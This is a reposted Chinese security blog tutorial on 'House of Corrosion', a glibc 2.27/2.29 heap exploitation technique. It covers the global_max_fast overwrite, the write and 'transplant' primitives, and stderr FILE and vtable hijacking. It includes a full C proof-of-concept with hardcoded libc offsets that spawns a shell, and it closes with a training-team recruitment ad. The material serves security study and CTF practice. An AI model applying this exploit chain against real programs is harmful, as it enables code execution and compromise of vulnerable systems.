House-of-Corrosion 一种新的堆利用技巧

admin 2022年5月23日11:31:30评论98 views字数 6421阅读21分24秒阅读模式

背景介绍

House of Corrosion 是一种针对glibc2.27跟glibc2.29的堆利用技术,周末抽空学习了一下

官方介绍:https://github.com/CptGibbon/House-of-Corrosion

前提条件

  • 需要一个UAF漏洞

  • 可以分配较大的堆块(size <=0x3b00)

  • 不需要任何泄露

主要攻击步骤:

  • 通过爆破4bit,改写bk进行unsortedbin attack 改写global_max_fast变量

  • 结合堆风水技术,通过UAF漏洞以及fastbin corruption去篡改stderr文件流对象

  • 触发stderr得到shell

原语

House of Corrosion主要是通过下面两个原语来完成攻击

任意写

unsortedbin attack修改global_max_fast之后,通过分配释放特定大小的堆块,我们可以修改地址位于fastbinY之后的数据

举个例子:
fastbinY地址如下:

House-of-Corrosion 一种新的堆利用技巧

我想改写stderr的_IO_buf_end


House-of-Corrosion 一种新的堆利用技巧


根据算式:

chunk size = (delta * 2) + 0x20 ,delta为目标地址与fastbinY的offset

在这个例子中,chunk大小应该是(0x7ffff7dd06c0-0x7ffff7dcfc50)*2+0x20=0x1500字节

我们只需要释放预先分配好的0x1500字节大小堆块,然后通过UAF修改堆块内容,再分配回来,就能成功修改目标地址的数据

A=malloc(0x14f0) //预先分配0x1500字节
...
// unsortedbin attack修改global_max_fast
...
free(A)
*A=value //UAF修改数据
malloc(0x14f0)

free(A)之后,目标地址会指向A


House-of-Corrosion 一种新的堆利用技巧


通过UAF修改A中的fd,*A=value




House-of-Corrosion 一种新的堆利用技巧


当我们再次把A分配回来时,value也就成功写入对应的target_addr


House-of-Corrosion 一种新的堆利用技巧


Transplant (转移...好像有点拗口)

预先分配两个大小相同均为dst_size的堆块A,B,再释放掉

src_size=((src_addr-fastbinY) * 2) + 0x20 //src_addr包含了libc地址
dst_size=((dst_addr-fastbinY) * 2) + 0x20 //dst_addr是我们要写的目标地址
A=malloc(dst_size)
B=malloc(dst_size)
free(B)
free(A)

此时目标位置情况如下:


House-of-Corrosion 一种新的堆利用技巧


通过UAF,部分改写A的fd指针使其指向本身,形成类似double free的情况


House-of-Corrosion 一种新的堆利用技巧



再把A分配回来,同时篡改A的size为src_size,释放掉A



House-of-Corrosion 一种新的堆利用技巧


详细步骤

glibc2.27

  1. 堆风水

  2. Unsortedbin attack

  3. Fake unsorted chunk

  4. 改写stderr

  5. 触发stderr控制执行流

第一步

释放一个chunk到large bin里,通过UAF篡改size里面的NO_MAIN_ARENA标志位,将其置为1

House-of-Corrosion 一种新的堆利用技巧

第二步

unsortedbin attack改写global_max_fast

House-of-Corrosion 一种新的堆利用技巧

第三步

在global_max_fast伪造chunk,size的话需要跟上面的large bin匹配,确保能落在一起,同时NON_MAIN_ARENA也要置为1,同时也要确保bk指向一个可写的区域,我这里是free了一个特定大小的堆块,让它把堆地址写进去

House-of-Corrosion 一种新的堆利用技巧

第四步

改写stderr结构体

  • 通过上面的transplant原语,从glibc的.data里面找一个libc地址转移到stderr的_IO_buf_end,官方选择的是__default_morecore

  • 写原语写_IO_buf_base,使得_IO_buf_base+_IO_buf_end=onegadget

  • 用写原语将_flags置为0,这是为了bypass _IO_str_overflow里面的check,同时也是为了one_gadget能顺利执行

  • 将_IO_write_ptr置为0x7fffffff,确保确保_IO_write_ptr-_IO_write_base>_IO_buf_base+_IO_buf_end

House-of-Corrosion 一种新的堆利用技巧

  • 将stdout的_mode置为0,防止干扰下面改写的_flags

  • 将stderr+0xe0位置(刚好是stdout的_flags位置)写为call rax gadget,可以通过transplant原语再partial overwrite

  • 最后通过写原语partial overwrite写vtable,使其指向IO_str_jumps-0x10

    House-of-Corrosion 一种新的堆利用技巧


  • 第五步
  • 再次改写global_max_fast(官方好像没提。。。但是不改的话貌似不行)
    通过写原语再次改写global_max_fast,将其改到一个合适的大小

  • 第六步

  • 最后一次malloc的时候,malloc一个size大于上面global_max_fast的chunk,在把unsortedbin放进largebin的时候,会检查NON_MAIN_ARENA标志位,由于我们前面置1了,所以程序会触发这个断言,调用stderr,即使stderr之前被close的话也是无所谓的,然后它会尝试call vtable里面的__xsputn,由于我们改写了vtable,这时候会变成call _IO_str_overflow(),最后调用_s._allocate_buffer()函数指针,也就是我们位于stderr+0xe0的call rax gadget起shell

  • 由于需要爆破4bit libc地址,我这个demo为了方便调试就直接把libc当作已知
    demo:

  • #include <stdio.h>
    #include <stdlib.h>
    int main(int argc, char const *argv[])
    {
    unsigned long long int libc_base= &system - 324672 ;
    void *stderr_IO_write_ptr = malloc(0x14c0);
    void *C = malloc(0x420);
    void *fake_bk = malloc(0x3a08);
    void *large = malloc(0x720);
    void *fake_size = malloc(0x3a08 - 0x20);
    void *stdout_mode = malloc(0x17b0);
    void *stderr_flag = malloc(0x1470);
    void *tmp = malloc(0x1120);
    free(tmp);
    void *stderr_IO_buf_end_A = malloc(0x14f0);
    void *stderr_IO_buf_end_B = malloc(0x14f0);
    void *stderr_IO_buf_base = malloc(0x14e0);
    void *vtable = malloc(0x1620);
    tmp = malloc(0x13f0);
    free(tmp);
    void *stdout_flag = malloc(0x1630);
    void *global_max_fast_1 = malloc(0x39f0);

    printf("防止与top chunk合并");
    malloc(0x10); //top

    printf("释放一个chunk到large bin里,通过UAF篡改NOT_MAIN_ARENA标志位");
    free(large);
    malloc(0x740);
    *(__uint64_t *)(large - 8) = 0x735;

    printf("large bin attack 修改global_max_fast");
    free(C);
    __uint64_t global_max_fast_addr = libc_base+ 4118848;
    *(__uint64_t *)(C + 8) = global_max_fast_addr - 0x10; //这里应该是partial overwrite
    malloc(0x420);

    printf("伪造unsortedbin,确保bk指向可写地址");
    free(fake_bk);

    printf("伪造unsortedbin,size必须设置为NON_MAIN_ARENA");
    free(fake_size);
    *(__uint64_t *)fake_size = 0x715;
    malloc(0x3a08 - 0x20);

    printf("关闭stdout输出,防止异常情况");
    free(stdout_mode);
    *(char *)(stdout_mode) = 'x01';
    malloc(0x17b0);

    printf("改写stderr_flag");
    free(stderr_flag);
    *(__uint64_t *)(stderr_flag) = 0;
    malloc(0x1470);

    printf("通过交换,往stderr_IO_buf_end填入libc地址");
    free(stderr_IO_buf_end_B);
    free(stderr_IO_buf_end_A);
    *(__uint64_t *)stderr_IO_buf_end_A = stderr_IO_buf_end_A - 0x10; //这里应该是partial overwrite
    stderr_IO_buf_end_A = malloc(0x14f0);
    *(__uint64_t *)(stderr_IO_buf_end_A - 8) = 0x1131;
    free(stderr_IO_buf_end_A);
    *(__uint64_t *)(stderr_IO_buf_end_A - 8) = 0x1501;
    malloc(0x14f0);

    printf("使_IO_buf_base+_IO_buf_end=onegadget");
    free(stderr_IO_buf_base);
    *(__uint64_t *)stderr_IO_buf_base = 0x4becb;
    malloc(0x14e0);

    printf("确保_IO_write_ptr-_IO_write_base>_IO_buf_base+_IO_buf_end");
    free(stderr_IO_write_ptr);
    *(__uint64_t *)stderr_IO_write_ptr = 0x7fffffffffff;
    malloc(0x14c0);

    printf("改写vtable,指向IO_str_jumps-0x10");
    __uint64_t IO_str_jumps = libc_base + 0x3e8350;
    free(vtable);
    *(__uint64_t *)vtable = IO_str_jumps - 0x10; //这里应该是partial overwrite
    malloc(0x1620);

    printf("改写stdout_flag为call rax gadgtet");
    free(stdout_flag);
    *(__uint64_t *)stdout_flag = stdout_flag - 0x10;
    stdout_flag = malloc(0x1630);
    *(__uint64_t *)(stdout_flag - 8) = 0x1401;
    free(stdout_flag);
    *(__uint64_t *)(stdout_flag - 8) = 0x1641;
    *(__uint64_t *)stdout_flag =libc_base + 0x00000000001af423; //这里应该是partial overwrite
    malloc(0x1631);

    printf("改写global_max_fast到合适大小");
    free(global_max_fast_1);
    *(__uint64_t *)(global_max_fast_1) = 0x3a00;
    malloc(0x39f0);

    printf("触发stderr");
    malloc(0x3b00);

    exit(-1);
    return 0;
    }
  • glibc2.29

  • glibc2.29的话其实条件十分苛刻,基本上没有什么意义,不过调试一下权当学习

  • Tcache attack

  • 用tcache dup来替代 unsortedbin attack改写global_max_fast
    例如:

  • A=malloc(0x10)
    B=malloc(0x10)
    C=malloc(0x420) //0x420 and above
    malloc(0x10) // 防止跟topchunk合并

    free(C)
    malloc(0x430) //C落入largebin

    free(B)
    free(A)
    UAF改写A的fd指向C
    UAF修改C的fd指向global_max_fast
    再分配回来就能改global_max_fast
  • 这个就不细说了,挺简单

  • stderr结构体修改

  • stderr的话不用像glibc2.27那样改那么多,只用把vtable覆盖陈一个堆地址,_flag改成"/bin/sh"

  • 然后用过Transplant技术,把DW.ref.gcc_personality_v0位置的libc地址弄到堆上伪造的vtable的sync,同时用partial overwrite把这个libc地址改成offset 0x32c7a的add rsi, r8; jmp rsi gadget

  • 关闭libio vtable保护

  • 为了绕过_IO_vtable_check函数的检查,我们需要先通过free一个fastbin chunk往_rtld_global._dlnns填入一个堆地址,注意提前调整mp.mmap_threshold

  • 通过transplant,把_rtld_global._dl_ns[0]._ns_loaded的值移到_rtld_global._dl_ns[1]._ns_loaded,再用任意写把_rtld_global._dl_ns[0]._ns_loaded置为0,详细原理还是查阅官方的介绍吧

  • 用任意写把libc的link_map里面l_ns的值置为1,同时修改l_addr到合适值
    使得l_addr+=wcpcpy的offset+wcpcpy的大小0x26=system_addr

    House-of-Corrosion 一种新的堆利用技巧

    触发stderr

  • 还是跟libc2.27一样,准备一个NON_MAIN_ARENA被置为1的unsortedbin,当它落入largebin时触发assert,最后会call 我们__sync位置的add rsi, r8; jmp rsi gadget,此时rsi刚好是system地址,rdi则是_flag地址

  • glibc2.29利用的话要预先知道libc跟ld.so之间的偏移,同时也要可以分配释放非常大的堆块,所以非常鸡肋

  • The libc-ld delta appears to be the same on bare-metal under Ubuntu 19.04, with values of 0x203000 (started under a debugger) and 0x1ff000 (debugger attached) respectively in a small, CTF-style binary written in C
  • 总结

  • House-of-Corrosion本质就是修改global_max_fast后滥用fastbin的分配释放,算是一种思路吧,给各位大佬献丑

源:先知(https://xz.aliyun.com/t/6862)

注:如有侵权请联系删除




House-of-Corrosion 一种新的堆利用技巧



船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


House-of-Corrosion 一种新的堆利用技巧

欢迎大家加群一起讨论学习和交流

House-of-Corrosion 一种新的堆利用技巧

路是自己走出来的,

不是被指点出来的。


原文始发于微信公众号(衡阳信安):House-of-Corrosion 一种新的堆利用技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日11:31:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   House-of-Corrosion 一种新的堆利用技巧http://cn-sec.com/archives/1040862.html

发表评论

匿名网友 填写信息